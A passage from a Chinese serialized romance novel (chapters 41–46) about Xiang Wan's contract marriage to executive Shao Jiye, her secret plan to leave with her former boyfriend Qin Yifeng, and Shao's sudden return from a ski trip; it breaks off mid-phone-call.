女医生看了看向晚的脸色,叮嘱道:“邵太太,以后尽量不要吃避孕药了,那个东西会扰乱内分泌,您之前呕吐应该也是跟这个有关。”
说到这个,向晚想起来一件事:“你知道哪个医院可以做皮埋吗?就是可以长期避孕的那种。”
女医生微微一愣:“您跟邵总感情这么好……哦,你们是想过二人世界是吗?暂时不想要孩子?”
“……皮埋的有效期是多久?”
“五年。”
向晚点头:“那够了。”
三年之约,足够了。
第四十一章 我有爱人,他叫秦以枫
接下来的几天,向晚一直在家里待着。
楚卫很敬业,每次她下楼喝水或者吃饭的时候,都能看到楚卫抱着一个笔记本忙碌。
见到她的时候,他还会站起来,恭恭敬敬叫一声:“太太”。
向晚看他在邵寂野手下做事也确实不容易。
既要看守她,又要处理工作,连吃饭的时间都没有,只能抱着一个又冷又硬的面包啃,索性她也没事,去厨房煮了三碗面。
锦绣从房间里出来的时候,整个人都显得有些萎靡,应该是学习学太久了,累。
向晚招呼她:“别太拼了,先过来吃饭。”
锦绣拖着沉重的步伐走了过去,看着一碗热气腾腾的面上面还卧着一个荷包蛋,顿时鼻子发酸:“向晚姐……”
向晚见她像是小狗一样用湿漉漉的眼神看着她,微微笑开:“快吃。”
锦绣呜呜的点头,呼噜呼噜地开始吃起来。
楚卫则是觉得有些不妥:“太太,你们吃吧,我不饿。”
向晚也没多说什么,只是点了点头,然后坐下来跟锦绣一起吃饭。
两个人都吃完,向晚把碗放进了水槽里,对楚卫说:“医生说我这几天最好不要碰冷水,麻烦楚助理洗一下碗。”
楚卫应下:“好的。”
“对了,记得把煮面的锅也洗了。”
“好。”
向晚转身上了楼。
锦绣也回了自己的房间,继续备考。
楚卫走到厨房,卷起袖子正准备刷碗,却看到天然气炉还燃烧着最小的火苗。
一掀开锅盖,里面的面条香味就扑面而来,还热乎乎的。
面条里面也卧了个蛋,而且似乎是考虑到他是男生,怕他不够吃,还放了几片培根。
楚卫心里一动,看向了二楼客房的方向。
——向晚这是故意给他留的。
怕他觉得不好意思,所以先离开了,给他腾出空间。
楚卫微微叹息了一声。
这个老板娘,他也算是打了三年交道了。
不管是做人事工作,还是从邵老太太那边弄钱,都做的十分圆满,让人挑不出错处。
她很细心,也很聪明。
可唯独在跟邵总的关系上,总像是少了一根筋。
……
在家里休息的第三天,宁姨打来了电话。
向晚犹豫了一下,接了起来:“宁姨?”
宁姨的语气说不上好,甚至有些冷:“向小姐,你是打定主意一定要跟老太太拧着来了是吗?”
向晚听出宁姨话里的不善。
她猜测,应该是邵寂野跟白荷那边又闹出了什么事情,刺了老太太的眼睛。
她把手机夹在肩膀上,打开了电脑,刷新了一下最近的新闻。
果然,“她”又上热搜了。
邵寂野带白荷去了滑雪场。
白荷的身形和五官都跟她相似,又穿着厚厚的滑雪服,戴着护目镜,任谁看都会觉得是她。
邵寂野穿着一身纯黑的滑雪服,踩着单板,看不清脸,但依然可以看得出他身姿矫健身材极好。
而白荷应该是新手。
膝盖和屁股上都绑着护具,在邵寂野的牵引下,笨拙地慢慢往下滑。
宁姨的声音继续从听筒里传来:“老太太让你给个准话,如果你真的执迷不悟,那就别怪她不念这几年的情分了。”
向晚沉思了一下,说:“宁姨,不如您直接告诉我,奶奶想让我怎么做。”
“当然是认清楚自己的身份,不要跟少爷走的太近。”
“可是如果不是我,邵总身边的女人依旧会络绎不绝。每个人一百万,加起来也不是一个小数字,这样下去也不是个办法。”
宁姨迟疑了一下:“你的意思是,你最近跟少爷打的火热,是在帮老太太省钱?向小姐,你把老太太当傻子糊弄吗?!”
向晚说:“奶奶当然不是傻子。不过您想啊,邵总现在跟老太太置了这么多年气,就是因为白荷的死。倘若奶奶对我下手,不是更加剧了他们祖孙的矛盾吗?”
宁姨冷笑:“说来说去,还是你舍不得离开少爷,被他迷晕了头脑!”
“宁姨,我跟白荷不一样,我不用奶奶动手,我会自己离开。”
宁姨愣了一下:“自己离开?”
“如果是我自己离开的话,邵总只会恨我,这一次就跟奶奶无关了。我先背叛了奶奶,之后又背叛了邵总,他们祖孙的感情会因为有我这个共同的敌人而缓
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和。奶奶说的话,或许他就能听进去了。再况且,谭小姐的确是个非常好的选择,邵总没有拒绝的道理。”
向晚这番话说完,电话那头的宁姨再也没有传来声音。
过了大概几分钟,邵老太太苍老而疲倦的声音从听筒里传出来:“向晚,你真的会自己走?”
“我会的。”
“我怎么相信你?”
“奶奶,三年前您找到我的时候,应该也调查过我。我有个爱人,他的名字叫秦以枫。”
邵老太太当然知道秦以枫这个人。
只是这几年向晚听话懂事,事事几乎都是按照她的心意做的,所以她一直都忽略了,向晚之前是有男朋友的。
向晚说:“等所有事情结束后,我会跟我的爱人一起,离开国内,永远不再回来。”
叩叩——
卧室的门被敲响了。
楚卫在外面咳嗽了两声。
他的声音并不大,但向晚听得很真切。
那……
刚刚她跟邵老太太说的话,楚卫也听到了?
邵老太太说:“向晚,我再相信你最后一次,希望你不要让我失望。”
电话挂断。
向晚确认手机屏幕黑了下去,才匆忙过去开了门。
楚卫很避嫌,背对着卧室门站着,“太太,邵总电话。”
说着,他把自己的手机递给了向晚。
向晚接了过来:“喂?”
邵寂野那边还有呼呼的风声,他轻声说:“给你发微信你怎么不回?”
“我……刚刚在打电话。”
“哦,”邵寂野没有深究,只是说:“我记得,你很喜欢雪。”
H市地处南部沿海,几乎从来没有下过雪。
向晚也是去了欧洲之后,才去芬兰看过皑皑白雪。
只是后来因为学业忙碌,她去北欧的次数也屈指可数,再后来爸爸出事她被迫提前结束学业回国,算起来,也有将近四年多没看到过雪了。
邵寂野说:“给你拍了几张,记得看。”
“……好,我一会儿看。你还有什么事要交代的吗?”
“向晚。”
“嗯?”
邵寂野笑了一声,有几分自嘲地落寞:“算了,爱看不看,挂了。”
第四十二章 你好像从来没有主动给邵总打过电话
看着黑下去的手机屏幕,向晚也没觉得什么。
反正邵寂野一向喜怒无常。
她把手机还给了楚卫:“谢谢……对了,邵总为什么不直接给我打电话,还让你跑来传话?”
楚卫看着向晚是真的觉得满头问号,有些欲言又止,许久,才说:“太太,你刚刚在跟其他人打电话吧。”
向晚看了一眼自己的手机,刚刚她在跟邵老太太打电话。
也不算很长,算上前面宁姨说的话,一共十三分钟。
楚卫轻咳了两声,有些尴尬地说道:“之前邵总提过一句,太太你好像经常在打电话。”
向晚想起来了,是上次在公司的时候。
“我是在上班时间打过私人电话,但我没有耽误工作,”向晚说:“而且今天我也不上班,他又不让我出去,我打个电话也不行吗?”
楚卫越发有些恨铁不成钢:“太太,可是你好像从来没有主动给邵总打过电话。”
“他不是跟白荷出去旅游了么,我现在打电话过去……不合适吧?”
“之前**没在的时候,您好像也没打过。”
向晚有些无奈。
邵寂野之前对她的态度,比对空气还差。
对空气顶多是视而不见,对她几乎是把她当做拦路虎绊脚石,敌方安插的细作。
她主动打电话过去干什么?
讨嫌吗?
向晚突然觉得,邵寂野会不会是演技太高超,连楚卫也骗过去了?
他可真是,连自己的心腹都不放心吗?
“邵总和白荷去哪里了你知道吗?”
楚卫说:“长白山。”
怪不得在滑雪。
向晚点了点头:“知道了,你去忙吧,一楼还有间客房,就在锦绣的房间隔壁,你也别太拼了,去休息会儿吧。”
说完,她直接退回了自己的房间里。
楚卫看着客房门在自己眼前合上,又看了看黑色的手机屏幕,不禁摇了摇头。
……
长白山滑雪场。
白荷穿着厚厚的羽绒服,看起来像一只可爱的小企鹅。
她实在是不会滑雪,一直摔跤。
不远处,邵寂野捏着手机,眉头紧蹙,不知道在想什么。
白荷小跑着凑了过来,扫了一眼他的手机屏幕:“是不是公司有事啊?”
邵寂野飞快地把手机收了起来,装进了口袋里:“没什么。”
白荷说:“我还是掌握不了平衡,感觉单板不是很适合我,要不然你教我玩双板吧?”
邵寂野态度有些冷:“双板我滑的不好,这里有专业教练,我给你找一个。”
说着,他往远处招了招手。
很快,一个穿着专业滑雪装备的人走了过来:“先生,需要教练吗?”
邵寂野“嗯”了一声:“你教教她。”
他指了指白荷。
滑雪教练轻笑:“您滑雪滑的很好啊,您女朋友您不自己教吗?”
“我有事。”
邵寂野熟练地拆掉了滑雪板拿在手里,缓缓往休息室走去。
换滑雪服的时候,他又看了一眼对面墙上的照片——
照片上是一对男女,男生站在坡道尽头,笑吟吟地微微仰着头,看着正在雪道上往下冲的女孩,双臂张开。
女孩穿着一身浅紫色的滑雪服,脚下也踩着一个紫色的雪板,笑的张扬肆意,明明整个人都已经快摔倒了,却还是在笑着。
这张照片拍的角度和时机都很巧妙,正好定格在了两人相拥之前,一起滚落在雪地上的前一秒。
“邵总,您今天玩的还愉快吗?”
雪场的工作人员算是他的熟人了,这几年他经常过来。
邵寂野收回视线,点了点头。
工作人员注意到了他的视线,笑着说:“我看您每次过来都会看这张照片,这两个人是您认识的人吧?”
邵寂野没说话,但是没否认。
他脑海中,仿佛在自动播放这张照片的前因后果。
男孩是滑雪高手,而女孩不怎么会,但是她一点也不怕,勇得像是一头小豹子。
结果自然是,摔了又摔,四仰八叉。
邵寂野举起相机的时候还在想,这一下得脸着地了,不过她好像从来也不怎么爱惜自己的脸。
别摔笨了就行。
或许是上天听到了他的愿望,有个人稳稳接住了她。
重力加速度带着两个人一起在雪场上翻滚,一直滚出去好远。
即便是女孩在下面的时候,男孩也一直用手肘撑着地,双手护着她的头,牢牢把她护在怀里。
最后停下来的时候,他摔的不轻,好半天都起不来,而向晚毫发无伤。
向晚骑在他身上,哭着认错:“秦以枫,我错了,我再也不这么冲动了,你打我吧。”
秦以
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枫还是有些晕,却还在温柔地安慰她:“别哭啊,一会儿眼泪结冰了。”
他们相互搀扶着一起走到了休息室,向晚着急地扒拉着他的胳膊到处检查,秦以枫啼笑皆非,却变魔术似的不知道从哪里摸出来了一个粉色的保温壶。
“别找了,我没事,你先喝点水。”
邵寂野忘了后面发生了什么。
或许是一些他并不想看到的画面,所以选择性忘记。
他就是有这样的本事,不想记得的事情,就可以忘得一干二净。
也不知道雪场里当时还有摄影师在场,居然把这一幕拍了下来,还一直挂着。
“邵总?”
邵寂野收回视线,声音很冷:“不认识。”
工作人员有些错愕:“啊?”
邵寂野站了起来,问道:“那张照片是谁拍的?”
工作人员也不知道:“或许是之前来这里滑雪的客人吧,主要是这两个人长得太好看了,男帅女美的,我们经理就让把照片挂在这里,也能起到一个宣传作用嘛。”
邵寂野嗤笑:“宣传?”
“对呀,我们有情侣套票的,他们两个一看就是情侣,还是特别恩爱的那种,刚好放在这里当个招牌。”
邵寂野抬头又扫了一眼那张照片,冷笑了一声。
转身离开。
再次出去的时候,正好撞上正要进门的白荷。
邵寂野微微蹙眉:“不是给你找了教练?怎么不滑了。”
白荷咬着唇,有些不高兴:“我不敢滑,我怕摔跤。”
“学滑雪哪有不摔跤的?”
“我就是不想滑啊,我怕疼。”白荷把雪板往地上一扔,赌气似的坐在一边,背对着他:“你不是还有工作么?你去忙吧,不用管我,我自己回酒店了。”
话说了,但脚步却没动,仍旧站在原地。
周围的人看的分明,这就是女孩子耍小性子,要男朋友来哄的意思。
连工作人员也帮着说和:“别呀,好不容易来一次,要不然别滑雪了,我们这边还有其他项目的,雪圈,还有雪爬犁,那个安全点,玩那个吧?”
白荷抬起头来,看向邵寂野,等他的答复。
邵寂野依旧兴致不高,揉了揉额角:“行,走。”
下一秒,手机铃声响起。
邵寂野看了一眼来电显示,微微勾了勾唇,“我接个电话。”
第四十三章 你在家里藏野男人了?
“喂?”
听到邵寂野的声音从电话那头响起的时候,向晚突然有些哽住。
她也不知道,打了电话该说什么。
但楚卫既然说了,那一定是邵寂野授意的。
向晚一向摸不准这位祖宗的脾气,离开之前怒吼吼地一通操作,直接把自己弄成了病号。
还是不要让他更生气的好。
否则接下来的日子怕是不好过。
“找我有事?”
还好,邵寂野的声音听起来还挺温柔。
应该是白荷把他哄好了吧。
“向晚?”邵寂野轻斥:“打了电话又不说话。”
向晚实在是不知道说什么,只能问候一下:“那个,你那边天气好吗?我听楚卫说,你们去长白山了。”
“嗯,”邵寂野轻声说:“天气还可以,就是冷。”
“你厚衣服带了吗?”
“没。”
“那你在那边买几件厚衣服吧,这个时候的东北很冷的。”
邵寂野很听话:“好。”
向晚又词穷了:“你们……玩的开心吗?“
“一般。”
“我打电话没打扰到你们吧?”
邵寂野深吸了一口气,“你到底想说什么?”
“我其实……”
没什么想说的。
向晚灵机一动,突然想起来了一件事:“你发给我那几张照片,我看了,很美。”
“嗯。”
“你拍照技术蛮好的,光影和构图都很专业。”
邵寂野说:“嗯。”
“谢谢你给我发照片,我已经好几年没看到过雪了。”
“……嗯。”
“那你们玩,我先挂了?”
邵寂野说:“好。”
向晚等着他挂,可是等了好一会儿,电话一直是接通的状态。
“邵总?”
“嗯。”
“你先挂吧。”
邵寂野问:“医生今天去家里了吗?”
“来了,已经帮我看过了,说没什么大问题,休息几天就好。”
邵寂野的声音有些懊恼:“那你好好休息,我让楚卫过去守着你了,有什么需要的就让他去办。”
“我没什么事,而且我看楚卫也挺忙的。而且我这个情况……他一个大男人也帮不上什么忙。”
邵寂野沉默了一会儿,轻声说:“那我回去。”
“啊?”
“我现在订票,今晚就能到。”
“啊?”向晚一骨碌坐了起来。
邵寂野玩世不恭地笑了一声:“这么害怕做什么?你在家里藏野男人了?”
向晚呵呵:“现在家里只有楚卫一个男人,还是你亲自派来的。”
“等我。”
“不是,你……”
电话已经挂断了。
她有些无力地躺在床上——
不是说好去旅游半个月的吗?
她还想趁这个机会也给自己放放假,去安排一下妈妈和秦以枫去疗养院的事情。
怎么突然又要回来了?
把她计划都打乱了。
嘟嘟——
手机振动了一下。
邵寂野给她发了一条航班信息。
两小时后起飞,五小时后到达H市。
还是经济舱。
向晚不想再想了,她昨晚确实是被折腾太狠了,又在车上睡了一夜,整个身体都酸痛地仿佛被车子碾过。
躺了一会儿就迷迷糊糊睡了过去。
向晚醒来的时候,天色已经黑了下来。
下楼的时候,楚卫还是那个姿势,跟兵哥哥似的,腰板挺得很直坐在沙发上,膝盖上放着笔记本电脑,双手在键盘上跳跃。
厨房的灶具上,煮面条的锅还在,只是里面已经空无一物,并且已经洗干净了。
“面条还合胃口吗?”
楚卫沉浸在工作中,微微被吓到了,不过很快就恢复了神情:“很好吃,谢谢太太。”
“不用客气,你在这里工作,总不能饿着肚子。别墅附近没什么店家,你想买都买不到。”
楚卫微微颔首:“是。”
向晚下了楼,走进厨房:“晚餐想吃什么?”
楚卫说:“我都可以,能吃饱就行。”
向晚熟悉地给自己穿上围裙,一边拉开冰箱检查存货,一边问道:“粥可以吗?”
楚卫当然没什么意见:“谢谢太太。”
向晚拿出了两颗鸡蛋,一块豆腐,还有一小段葱姜。
先淘了米,放在沙煲里煮上。
然后熟练地
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去洗菜切菜。
楚卫问道:“平时也是太太做饭吗?”
向晚轻声说:“平时你们家邵总也不回来吃,我都在外面解决。”
“可是家里不是有佣人吗?”
他说的是锦绣。
向晚说:“她有正事要做,饭怎么都能对付了。”
很快,一股朴实的米香味渐渐飘散了出来。
家里经常不开火,冰箱里也没多少食材。
鸡蛋是放了很久的,豆腐应该是锦绣之前从超市买的,还是密封盒装的。
向晚熟练地做了一个水蒸蛋,还有一个麻婆豆腐。
两个菜,她跟锦绣吃肯定是够了。
但是家里还有个大男人,向晚想了想,又从冰箱里取出来了一盒午餐肉,切片后用葱姜爆炒。
过了一会儿,锦绣也打开了门钻了出来:“向晚姐,你做什么了?”
向晚朝她招招手:“你来得正好,快去洗手,准备吃饭了。”
锦绣呜呜着跑了过来,一把抱住了向晚:“向晚姐,应该我来做饭的……”
“谁做不都一样?我正好闲着。”向晚轻声说:“我也很久没做过饭了,今天也是一时兴起。”
锦绣有些惊讶:“向晚姐,你家里以前不也是有钱人家吗?你一个大小姐,怎么会做饭呀?”
“我可是欧洲留子,你以后要是去国外上学就知道了,欧洲的饭这不是给人吃的。我要是不自己做,非得饿死在异国他乡不可。”
锦绣听得津津有味:“欧洲饭那么难吃啊?”
“……也有一部分原因,是我为了一个人去学的。”
“你妹妹吗?我之前好像听你说过,她也在欧洲念书。”
向晚摇了摇头:“我妹妹比较能习惯那边的食物,不需要我做饭。”
“那是?”
有楚卫在场,向晚没有回答,只是轻声笑了一下:“过来帮我端菜。”
别墅大门突然响起了指纹开锁的音乐声。
邵寂野一身风尘仆仆,周身似乎还带着长白山的寒气。
楚卫顿时惊愕不已:“邵总?您怎么突然回来了?”
邵寂野“嗯”了一声,径直走向了厨房的方向:“什么味道,这么香?”
第四十四章 你要跟我离婚吗?
楚卫先一步开了口:“邵总,是太太亲自下厨给您做了饭。”
向晚惊讶地看向楚卫。
但楚卫仿佛老僧入定,压根不接她的茬,一张大方脸定得平平的,一点说了谎话的闪躲都没有。
邵寂野一边走进来,一边脱掉了自己身上的厚外套。
大概是因为从长白山回来,他身上一直套着一件厚厚的长款羽绒服。
向晚看了一眼,他额头上浸着一层细细的汗水。
H市是亚热带气候,即便是冬天最冷的时候也有零上十几度,穿着这么厚的羽绒服一路回来,怕不是要热脱水。
楚卫上前,邵寂野顺手把自己的外套递给他,人已经快步走到了厨房里,站在向晚身后。
料理台上,她炒的三盘菜一字排开摆在上面,锦绣本来想伸手把菜端去餐桌的,但邵寂野看的认真,她又默默把手缩了回去。
邵寂野端详了一会儿,又俯下身去闻了闻:“都是你做的?”
向晚“嗯”了一声:“反正我在家里闲着也没事……”
“邵总,”楚卫说:“太太自己不吃辣,专门给您做了麻婆豆腐。”
邵寂野半倚靠在吧台上,斜斜地看着她:“以前从来没见你做过饭。”
向晚也不知道该不该说。
刚结婚那阵子,她其实是抱着想要跟他搞好关系的心态来做这个邵太太的。
下班回来之后她也会做几个菜,但是邵寂野这人简直就是个二极管,要么就是待在书房里忙工作,要么就是见了她就扛起来往床上扔。
每次结束后向晚都困的直接睡死过去,至于他饿不饿,向晚也懒得管了。
总归这么大一个总裁,肯定不会把自己饿死。
再后来,就是邵寂野突然间冷淡了下来,很少回家。
她基本都是下了班在外面解决了晚饭再回家。
他的目光好像是有温度,烫的向晚有些无所适从。
她轻声说:“今天就是心血来潮……”
邵寂野微微挑眉,但唇边的笑意却更大了:“行,心血来潮就心血来潮吧。”
他没叫人,自己动手把菜端走,放在了餐桌上。
向晚看他脖子上一圈汗,不禁问道:“你要不要先去洗个澡再吃饭?”
邵寂野闻了闻自己的身上:“有味儿吗?”
“那倒没有。”
邵寂野已经拉开了餐桌的椅子,从善如流地坐了下去:“……那边太冷了,登机时间紧,来不及换衣服了。一会儿吃完我就去洗。”
向晚说:“汗闷在身上很不舒服的,还是先洗澡吧。”
“菜都做好了,洗完不都凉了?”邵寂野伸手把她拉到了自己身边,指了指自己旁边的位置:“坐吧,吃完我就去洗澡,汗我都出了一路了,也不在乎这半个小时。”
锦绣很有眼力界儿,去厨房盛了几碗粥过来。
“先生,这是您的。太太,这个是你的。”
然后,又给她自己和楚卫盛了两碗。
然后自然而然地挨着向晚坐了下来。
刚准备动筷,突然听到楚卫重重地咳嗽了两声:“锦绣,我们去旁边吃。”
锦绣愣了一下,赶紧站了起来:“好的好的。”
跟在向晚身边久了,她差点忘了,她现在算是家里的佣人。
只是向晚平时并不把她当佣人看,锦绣习惯了,所以才随意了一些。
向晚按住她:“别了,就在这吃。菜还在这呢,你光喝白粥啊?”
锦绣怯怯的,看向了邵寂野。
向晚好说话,邵寂野可不是。
菜并没有分餐,而是都在一个盘子里。
邵寂野估计会很膈应跟其他人在一个盘子里夹菜吧?
锦绣不太敢,站在原地坐也不是走也不是。
“坐吧。”邵寂野冲楚卫也招了招手:“你也来。”
楚卫还是觉得不太好:“邵总,我还是……”
“来吧。”
人都坐下了,但都在等邵寂野先动筷子。
他也确实是先动了,只不过先给向晚夹了一片午餐肉。
碗里是粥,不能放进去,邵寂野也没有放的意思,就这么举着递到她面前:“多吃点肉,好得快。”
向晚说:“我自己夹就好,你吃你的。”
邵寂野却不依不饶:“我筷子还没进嘴过,干净的。”
“……我不是这个意思。”
“那还不快点接着,我一天没吃饭了,饿**。”
向晚只好用自己的筷子夹住那片肉,放进嘴里咀嚼。
邵寂野问:“好吃吗?”
“午餐肉都是那个味道,想做的不好吃也很难的。”
邵寂野也夹了一片,尝了尝后品评道:“火候不错。”
向晚也好久没做过菜了,生疏了不少,今天的午餐肉明显
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炒糊了一片,看着有些黑黢黢的。
她自己跟锦绣吃没什么,拿出来招待楚卫她都觉得有点不好意思,邵寂野竟然还夸上了。
她也不知道邵寂野是不是又在阴阳怪气。
是也无所谓,他一贯这样。
被他阴阳怪气了三年,向晚现在脸皮也已经很厚了。
“你白天没吃东西吗?”
邵寂野摇了摇头,又夹了一筷子扔进嘴里:“没胃口。”
“**也没吃吗?她扛得住啊?”
邵寂野筷子一顿,不过很快恢复正常,“不知道。”
他不是带白荷一起去的么,白荷吃没吃饭他会不知道?
楚卫打圆场说:“太太,邵总是滑雪的高手,每年都会去长白山待几天的。”
向晚点点头:“哦,这样啊。”
邵寂野问:“你不知道吗?”
“你也没有告诉我。”
“我没告诉你你就不知道问?”
“你经常也不回家,我也不知道你什么时候去的啊。”
邵寂野看了她一会儿,忽而叹了口气:“邵太太,这个名头看来你是不想要了。”
“你要跟我离婚么?”
“你想离婚吗?”
向晚不知道他突然说这句话的意思,只能让白荷身上猜:“**……吃醋了?”
邵寂野直接把筷子按在了碗口上,往后靠了靠。
向晚问道:“怎么了?”
邵寂野脸色微沉:“食不言寝不语。”
可明明是他先说句话的。
向晚不想跟他争执:“……行。”
默默吃饭。
“邵太太,水蒸蛋有些老了。”
“嗯。”
“麻婆豆腐倒是还可以。”
“哦。”
“你麻婆豆腐做的真不错,你自己又不能吃辣。是你爸妈喜欢吃?还是你妹妹?”
秦以枫喜欢吃。
他最喜欢的菜就是麻婆豆腐。
每次吃饭必点。
每次去向家,妈妈都会亲自下厨给他做。
向晚跟着妈妈学了几次,虽然没有妈妈做的那么好吃,但味道基本能复刻个七八分了。
“他们……都还行。”向晚说。
都还行,那就是不是特别喜欢,只是一般喜欢。
那她这道菜做的这么好,只能是另有原因。
邵寂野想起今天滑雪休息室里的那幅画,神色微微暗了下来。
第四十五章 用的什么沐浴露?好香
锦绣弱弱的说:“其实是我爱吃。”
邵寂野有了点反应,挑眉看向她。
锦绣嘿嘿笑了一下:“太太说豆腐是优质蛋白,能补脑的,我又偏爱重口的。”
邵寂野面色稍霁:“那你比我有福气,我都是今天第一次才吃到你家太太做的麻婆豆腐。”
锦绣说:“太太是您的太太啊,不是我家的。”
邵寂野脸色总算好看了点,失笑对向晚道:“你找的小保姆都比你会说话。”
向晚却微微有些紧绷:“锦绣不行啊。”
“什么不行?”
“她年纪还小,还要读书呢。”
邵寂野顿时反应了过来,一脸无语:“邵太太,你脑子里到底在想什么呢?我在你眼里就是个随处发情的动物吗?见到一个女的都想干那档子事?”
“这些年,你找我也没其他事了啊。”
“你……”
楚卫冷着脸说:“邵总,其实太太这是在夸您身体好呢。”
向晚:“?”
邵寂野:“?
楚卫看向向晚:“对吧太太?”
向晚:“……”
楚卫看向邵寂野:“太太默认了。”
向晚无语望天。
楚卫:“太太毕竟是女孩子,说话比较含蓄,有些话不好意思直接说出口,毕竟还有我和锦绣在场,她估计是不好意思,但其实就是这个意思。”
向晚呵呵:“邵总,你的助理也比你会说话。”
邵寂野摇着头,啧啧有声:“我也才发现。”
楚卫那副扑克脸也微微红了红:“谢谢太太夸奖。”
向晚干笑了两声。
邵寂野这种心思比海都深的人,助理不应该是那种会察言观色的鬼灵精么?
楚卫这种一板一眼,站在那儿就是个兵的,居然也能入了他的法眼,也是神奇。
一顿饭吃完,锦绣自觉地包揽了洗碗的工作。
楚卫又开始苦大仇深地盯着电脑屏幕。
向晚上楼回了客房,洗了个澡。
出来的时候,看到邵寂野居然半靠在她的床上,正在用手机打字,应该是在回复消息。
见向晚湿漉漉的出来,有些错愕的看着他,轻声说道:“我洗过澡了,在主卧洗的,不会弄脏你的床单。”
向晚问:“你不会要在这儿睡吧?”
“不行?”
“我还疼着呢……”
邵寂野把手机放到了一边,拍了拍自己身旁的位置:“我知道,我还没禽兽到那个地步。”
向晚迟疑地在床边坐下,邵寂野已经从后面贴了过来,搂住了她,在她颈间嗅了嗅:“晚晚,你用的什么沐浴露?好香。”
他的体温滚烫,向晚很快就被他哄出了一层薄汗。
“就是普通的啊,超市买的。”
“是吗?什么牌子?”
向晚说了一个牌子的名字。
邵寂野只是静静搂着她,连同她的手臂一起,全都被他紧紧箍着,他就像是一个大号的睡袋,把她整个人都包裹在里面。
以往他想要的时候,也都是这样,有些粘人,有些温柔,还带着点讨好。
向晚有些紧张:“邵寂野,你不是说今晚不那个吗?”
“哪个?”
“……你说呢?”
邵寂野嗤嗤地笑,“放心吧,不那个,就想抱你一会儿。”
“你这么大老远回来,不会就是为了抱我吧?”
“怕你跑了,”邵寂野说:“你就是个属泥鳅的,滑不溜手,谁知道你什么时候就突然不见了。”
向晚心里咯噔一下。
她想先把妈妈和秦以枫转移到欧洲的计划被他发现了?
应该不是,她做的很隐秘。
她联系疗养院也只联系了负责人,而且她很确定,那个负责人应该没有邵寂野的联系方式。
就算有,他也不会去通风报信,那可是实打实的三百多万。
“你怎么心跳这么快?”
邵寂野把手放在她的心口,感受着她的心跳。
必然的蹭到了她的敏感处。
向晚扒拉开他的手,微微挣扎了一下:“你松点,我喘不过气了。”
“向晚,你会滑雪吗?”
“算会吧。”
“会就是会,不会就是不会,什么叫算是会?”
“我敢滑,但是滑得不好,一直摔跤。每次滑完浑身都青一块紫一块的,哈哈,不过滑雪挺好玩的。”
邵寂野说:“我教你吧。”
“你那么忙,没必要,我想学的话找个人教我就行。”
邵寂野浑身一僵:“你要找谁教你?”
向晚猛地被箍紧了
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,身后的胸膛似乎突然间绷紧。
她轻声说:“长白山滑雪场我去过,那边有很多滑雪教练的,交钱就行。”
邵寂野嗤了一声:“那些人还没我滑得好。”
“楚卫刚刚说了,你滑雪很厉害。”
“非常厉害。”
“……你还真是一点也不谦虚。”
“事实而已,为什么要谦虚?”
向晚说:“你从小就喜欢滑雪吗?”
“不,”邵寂野说:“不能算从小吧,大概二十岁左右的时候。”
“这么具体?”
“嗯。”邵寂野说:“本来是陪朋友去的,看到了一个人,就决定自己一定要滑,并且要滑得很好。”
“那个人很厉害吗?”
“一点也不,经常摔跤,在地上打滚,滚了好远都停不下来。”
向晚说:“我也是,每次去滑雪都得滚下来几次,要不是下面有人接着我,估计我能滚出场地去。”
邵寂野松开了她,握着她的肩膀把她转过来,又说了一次:“我教你吧。”
他都说了两次了,向晚也不好驳他面子,敷衍着应了:“行,那等你以后有空了吧。”
“我明天就有空,我们去北欧吧。”
向晚觉得邵寂野今晚好像有点抽风:“你是不是在长白山跟白荷吵架了啊?”
“没有。”
“那怎么感觉你今天情绪不太正常。”
“有吗?”
“该不会是你要拿我当工具人,跟白荷赌气吧?”
邵寂野叹了口气,声音有些无力:“张口白荷闭口白荷,她又不是你老公,你天天念叨她干什么?”
“对了,白荷跟你一起回来了吗?怎么没回家?还是你把她一个人扔在长白山了?你也放心?”
邵寂野恨恨磨牙,直接把人拖到怀里,擒住下巴吻住了。
向晚猝不及防,整个人都被拖进了一个坚硬的怀抱里。
他吻上来的时候,向晚本能想要挣扎。
邵寂野握住她的双手,拉高,环绕住自己的脖子。
吻了许久,直到向晚已经憋气憋得眼圈都红了,眼角缀着湿润的晶莹,他才意犹未尽的放开。
“邵寂野。”她的声音有些委屈。
邵寂野微微心软,“放心,不做,就亲一会儿。”
第四十六章 以枫,我想去滑雪了
邵寂野的吻温柔而缠绵。
跟他床上的表现简直是南辕北辙。
向晚其实接吻经验也有,秦以枫也很喜欢亲她,但他基本都是啄吻,浅尝辄止。
偶尔也会有几次特别深入的,但亲完之后还得一段时间解决后续,少年人血气方刚的,也不是一时半会儿能消下去的,还有一次被向晚的爸爸不小心撞见了。
最后就是几个人都尴尬的不行,爸爸摸着鼻子快速离开了,秦以枫一脸灰败,担心未来老岳父会对他有什么看法。
到了后面为了避免这种尴尬的事情再发生,秦以枫就算亲也会很克制。
邵寂野不一样。
他今天虽然也缠绵,但那是跟他自己比。
一想起昨天晚上他那副要吃了她的样子,向晚还是有些后怕。
她不禁打了个寒战。
邵寂野正吻得陶醉,察觉到她的异样,停了下来:“冷?”
向晚不想让他看扁了,梗着脖子摇头:“不冷。”
邵寂野轻柔地把她放在床上,下床去关了窗户。
他轻声说:“也有可能是我刚从东北回来,身上带着寒气。你本身体质就阴寒,可能对温度比较敏感。”
向晚拥着被子,没说话。
邵寂野转过身来,在她身边躺下,把她和被子一起抱在怀里:“滑雪还是算了吧,你这身子骨,怕是禁不起冻。”
向晚说:“我还行。”
“你少来,医生都说你体寒,还跟我犟。”
他说话的时候,整个人都气息就在她周围萦绕。
向晚不知道该怎么形容邵寂野的怀抱。
或许是有了秦以枫那种温柔踏实的过往,他的怀抱总是让向晚觉得宽阔,但冷硬。
就像是小龙女的寒冰床,又大又厉害,据说在上面练功事半功倍,但她还是喜欢自己家里普通但软和的席梦思。
向晚微微想要挣脱:“我想去泡个热水澡。”
“泡什么澡,自己身上有伤不知道?”
邵寂野微微叹了口气,松开了她,去了浴室放水。
向晚听着浴室里哗啦啦的水声,有些莫名。
不是说不让她泡澡么?
还是说,其实是他自己想泡?
大概也是在东北冻着了吧,泡个澡暖和暖和。
向晚翻了个身,抓起手机划开。
有一个未接来电,是秦叔的。
向晚估摸着邵寂野一时半会估计是出不来了,所以回拨了过去。
秦叔接的很快:“大小姐。”
“嗯,你给我打电话了吗?是不是以枫那边有什么急事?”
“没有没有,就是今天有个自称疗养院的人联系了我,说是一周之后就来接以枫上飞机。”
向晚“嗯”了一声:“以枫今天情况怎么样?”
秦叔的情绪明显开心了不少:“已经能说话了,虽然还动弹不得,不过已经是有好转的迹象了。”
“那就好。”
“大小姐,我……”
“秦叔,有什么话您就直说吧。”
